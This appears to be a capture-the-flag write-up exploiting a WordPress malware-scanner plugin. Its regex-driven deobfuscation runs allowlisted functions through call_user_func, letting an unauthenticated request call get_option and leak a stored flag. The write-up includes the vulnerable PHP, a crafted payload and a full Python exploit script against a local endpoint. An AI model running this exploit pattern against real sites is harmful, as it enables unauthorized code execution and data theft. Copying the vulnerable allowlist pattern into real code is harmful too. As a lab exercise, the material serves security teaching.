Skip to content

Super Malware Scanner: RCE via Insecure Deobfuscation Logic

Introduction

The Super Malware Scanner plugin for WordPress claims to offer advanced malware detection and deobfuscation. However, its “advanced deobfuscation” feature relies on a complex Regular Expression (Regex) that parses and executes PHP code found in user input. This creates a Remote Code Execution (RCE) vulnerability, allowing unauthenticated attackers to execute arbitrary functions present in a permissive allowlist.

Vulnerability Analysis

The vulnerability resides in the deobfuscateCode method, which is accessible via an unauthenticated REST API endpoint (/wp-json/sms/v1/scan).

Step 1: The Dangerous Regex

The plugin attempts to identify and “deobfuscate” code matching a specific pattern (likely simulating a common malware obfuscation technique involving base64_decode, gzinflate, and character shifting).

$pattern = '~function\s+(\w+)\s*\(\s*(\$\w+)\s*\)\s*{\'.
           // ... (matching obfuscation logic) ...
           '\s*(?:eval\s*\(|\s*(\$\w+)\s*=\s*)' .
           '\s*\1\s*\(\s*((?:\(\s*\w+)*)\s*\(\s*["\']([^"\']+)["\']\s*\)\s*\)+\s*;~msi';

This regex is designed to capture:

  1. A function definition.
  2. A call to that function at the end.
  3. Crucially: A “chain” of nested function calls passed as arguments ($matches[7]) and a payload string ($matches[8]).

Step 2: Insecure Execution

When a match is found, the processDeltaOrd method is called:

    private function processDeltaOrd($code, $matches) {
        // ...
        if (!empty($matches[7])) {
            $function_chain = explode('(', $matches[7]);
            $functions = array_reverse(array_filter($function_chain));
            $data = $payload; // $matches[8]

            foreach ($functions as $func) {
                $func = trim($func);
                if ($this->isFunc($func)) {
                    $data = call_user_func($func, $data);
                }
                // ...
            }
            // ...
            return $data;
        }
        // ...
    }

This code iterates through the captured function names and executes them using call_user_func on the payload data, provided the function name is in the isFunc allowlist.

Step 3: Permissive Allowlist

The isFunc method checks the function name against a list of “safe” functions.

    private function isFunc($func) {
        $safeFuncs = array(
            // ...
            'base64_decode',
            // ...
            'get_option', // <--- VULNERABLE
            // ...
        );
        return in_array(strtolower($func), $safeFuncs);
    }

The list includes get_option, a WordPress function that retrieves database options. Since the challenge stores the flag in the flag option (as seen in the Makefile), an attacker can simply call get_option('flag') to retrieve it.

Exploit

To exploit this, we construct a PHP code snippet that strictly matches the regex but chains the get_option function.

The required structure is:

  1. A dummy function definition matching the deobfuscation logic (we can just copy the logic expected by the regex).
  2. A call to this function passing get_option('flag') in the specific nested format expected by the regex: ((get_option('flag'))) .

Exploit Payload

function x($y){
    $y=gzinflate(base64_decode($y));
    for($i=0;$i<strlen($y);$i++){
        $y[$i]=chr(ord($y[$i])+0);
    }
    return $y;
}
$z=x((get_option('flag')));

This payload satisfies the regex. The capture groups become:

  • $matches[7] (Function Chain): (get_option
  • $matches[8] (Payload): flag

The processDeltaOrd function parses $matches[7], extracts get_option, validates it against the allowlist, and executes get_option('flag'). The result is then printed via print_r, leaking the flag in the API response.

Exploit Script

import requests
import base64
import sys

# Configuration
BASE_URL = "http://localhost:9155"
API_URL = f"{BASE_URL}/wp-json/sms/v1/scan"

def exploit():
    # Construct the payload
    # The payload must match the regex in deobfuscateCode
    # We use 'get_option' which is in the allowlist to retrieve the 'flag' option

    # Note: The regex requires specific structure for the function call chain:
    # x((get_option('flag')))
    # Group 7 captures (get_option
    # Group 8 captures flag

    malicious_code = (
        "function x($y){" \
        "$y=gzinflate(base64_decode($y));" \
        "for($i=0;$i<strlen($y);$i++){" \
        "$y[$i]=chr(ord($y[$i])+0);" \
        "}" \
        "return $y;" \
        "}" \
        "$z=x((get_option('flag')));"
    )

    print(f"[*] Malicious Code:\n{malicious_code}")

    # Base64 encode the payload (required by scanCode)
    encoded_payload = base64.b64encode(malicious_code.encode()).decode()

    params = {
        "payload": encoded_payload,
        "deobfuscate": "1" # Must be true to trigger deobfuscateCode
    }

    print(f"[*] Sending request to {API_URL}...")

    try:
        response = requests.get(API_URL, params=params)

        print(f"[*] Response Status Code: {response.status_code}")
        print(f"[*] Response Body:\n{response.text}")

        if response.status_code == 200:
            # The flag might be in the output of print_r (which might be prepended to JSON)
            # or implicitly returned if print_r is captured?
            # In WordPress REST API, outputting directly might break JSON syntax,
            # but we can see the raw text.
            if "CTF{" in response.text:
                print("\n[+] FOUND FLAG!")
                # Extract flag
                import re
                flag_match = re.search(r'CTF{[^}]+}', response.text)
                if flag_match:
                    print(f"[+] Flag: {flag_match.group(0)}")
            else:
                print("[-] Flag not found in response.")
        else:
            print("[-] Request failed.")

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit()